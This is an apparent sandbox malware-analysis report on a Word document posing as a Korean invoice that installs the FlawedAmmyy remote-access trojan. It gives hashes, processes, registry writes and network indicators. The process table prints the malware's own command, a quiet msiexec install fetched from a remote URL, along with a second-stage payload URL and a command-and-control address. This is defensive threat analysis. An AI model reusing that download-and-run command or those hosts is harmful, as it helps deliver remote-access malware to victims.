| File name: | 인보이스 18-02-2019.doc |
| Full analysis: | https://app.any.run/tasks/3e3caeea-4d99-471b-b5ab-7d2383e920f7 |
| Verdict: | Malicious activity |
| Threats: | FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics. |
| Analysis date: | February 19, 2019, 13:11:23 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Feb 18 20:06:00 2019, Last Saved Time/Date: Mon Feb 18 20:06:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 137, Security: 0 |
| MD5: | 28FE7E549231AC516A730FB96BEB7069 |
| SHA1: | 2B26248B07A1279104A92A13D227CA1A9DE777B6 |
| SHA256: | E255C51E4311E02A000FF9BBDA7C385C5FDCB52FACB127C8DB19BDD6FC0CCE6C |
| SSDEEP: | 768:IpMLELemEgZnQgW5tmhdMgNMVkLRaEOrlEJ6mhp:ILLemXZQgW5IYgNlHJ6mh |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2984)
Uses Microsoft Installer as loader
- WINWORD.EXE (PID: 2984)
Application was dropped or rewritten from another process
- wsus.exe (PID: 2724)
- wsus.exe (PID: 3572)
Loads the Task Scheduler COM API
- MSIFAF1.tmp (PID: 3864)
Loads the Task Scheduler DLL interface
- MSIFAF1.tmp (PID: 3864)
Changes the autorun value in the registry
- MSIFAF1.tmp (PID: 3864)
FLAWEDAMMYY was detected
- wsus.exe (PID: 2724)
Connects to CnC server
- wsus.exe (PID: 2724)
SUSPICIOUS
Executable content was dropped or overwritten
- msiexec.exe (PID: 3700)
- MSIFAF1.tmp (PID: 3864)
Drop ExeToMSI Application
- msiexec.exe (PID: 3700)
Creates files in the program directory
- MSIFAF1.tmp (PID: 3864)
Starts CMD.EXE for commands execution
- MSIFAF1.tmp (PID: 3864)
Creates files in the Windows directory
- MSIFAF1.tmp (PID: 3864)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2984)
Creates files in the user directory
- WINWORD.EXE (PID: 2984)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3700)
Starts application with an unusual extension
- msiexec.exe (PID: 3700)
Application was dropped or rewritten from another process
- MSIFAF1.tmp (PID: 3864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | 1 |
|---|---|
| Subject: | - |
| Author: | 1 |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | 1 |
| RevisionNumber: | 2 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:02:18 20:06:00 |
| ModifyDate: | 2019:02:18 20:06:00 |
| Pages: | 1 |
| Words: | 23 |
| Characters: | 137 |
| Security: | None |
| CodePage: | Windows Cyrillic |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 159 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | 1 |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | ???????? Microsoft Word 97-2003 |
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2352 | "C:\Windows\System32\msiexec.exe" back=001 error=exit /i http://blossomtel.com/~mgarrett456/logo /q OnLoad="c:\windows\calc.exe" Aciqy=¶µ±VIks1 | C:\Windows\System32\msiexec.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2724 | "C:\ProgramData\Microsofts Help\wsus.exe" | C:\ProgramData\Microsofts Help\wsus.exe | MSIFAF1.tmp | ||||||||||||
User: admin Company: Microsoft Block Security Integrity Level: MEDIUM Description: Microsoft Block Security Exit code: 0 Version: 1.18.2.51920 Modules
| |||||||||||||||
| 2984 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\인보이스 18-02-2019.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3572 | "C:\ProgramData\Microsofts Help\wsus.exe" | C:\ProgramData\Microsofts Help\wsus.exe | — | taskeng.exe | |||||||||||
User: admin Company: Microsoft Block Security Integrity Level: MEDIUM Description: Microsoft Block Security Exit code: 0 Version: 1.18.2.51920 Modules
| |||||||||||||||
| 3700 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3732 | "C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIFAF1.tmp >> NUL | C:\Windows\system32\cmd.exe | — | MSIFAF1.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3864 | "C:\Windows\Installer\MSIFAF1.tmp" | C:\Windows\Installer\MSIFAF1.tmp | msiexec.exe | ||||||||||||
User: admin Company: IBM Controler' System Security Control Integrity Level: MEDIUM Description: IBM Controler' System Security Control Exit code: 0 Version: 2.8.17228.1 Modules
| |||||||||||||||
| 3888 | "C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIFAF1.tmp >> NUL | C:\Windows\system32\cmd.exe | — | MSIFAF1.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 266
Read events
824
Write events
421
Delete events
21
Modification events
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 95, |
Value: 39352C00A80B0000010000000000000000000000 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1314062359 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1314062480 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1314062481 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: A80B00004A8F73A654C8D40100000000 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 7, |
Value: 20372C00A80B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 7, |
Value: 20372C00A80B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2984) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
3
Suspicious files
6
Text files
9
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE999.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF88FBC8A38DD050E9.TMP | — | |
MD5:— | SHA256:— | |||
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFBF5AFAC8836F7EE0.TMP | — | |
MD5:— | SHA256:— | |||
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF3D4BF98861BC4DB6.TMP | — | |
MD5:— | SHA256:— | |||
| 3700 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFDD04D47EA571831A.TMP | — | |
MD5:— | SHA256:— | |||
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3700 | msiexec.exe | C:\Config.Msi\20f9d7.rbs | — | |
MD5:— | SHA256:— | |||
| 3700 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF6252E7E55DE30AC7.TMP | — | |
MD5:— | SHA256:— | |||
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$이스 18-02-2019.doc | pgc | |
MD5:— | SHA256:— | |||
| 2984 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3700 | msiexec.exe | GET | — | 107.152.63.32:80 | http://blossomtel.com/~mgarrett456/logo | US | — | — | suspicious |
3864 | MSIFAF1.tmp | GET | 200 | 185.17.120.235:80 | http://185.17.120.235/dat1.omg | RU | binary | 657 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3700 | msiexec.exe | 107.152.63.32:80 | blossomtel.com | Blossom Telephone Company | US | suspicious |
2724 | wsus.exe | 185.99.133.2:80 | — | Zappie Host LLC | NZ | malicious |
3864 | MSIFAF1.tmp | 185.17.120.235:80 | — | Leaseweb Deutschland GmbH | RU | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
blossomtel.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3700 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
3700 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
2724 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] FlawedAmmyy.RAT |
2724 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] AMMYY RAT |
2724 | wsus.exe | A Network Trojan was detected | ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin |
2724 | wsus.exe | A Network Trojan was detected | MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin |
1 ETPRO signatures available at the full report
Process | Message |
|---|---|
MSIFAF1.tmp | C:\ProgramData\Microsofts Help\template_35e330.DATAHASH |
MSIFAF1.tmp | --End Dowload-- |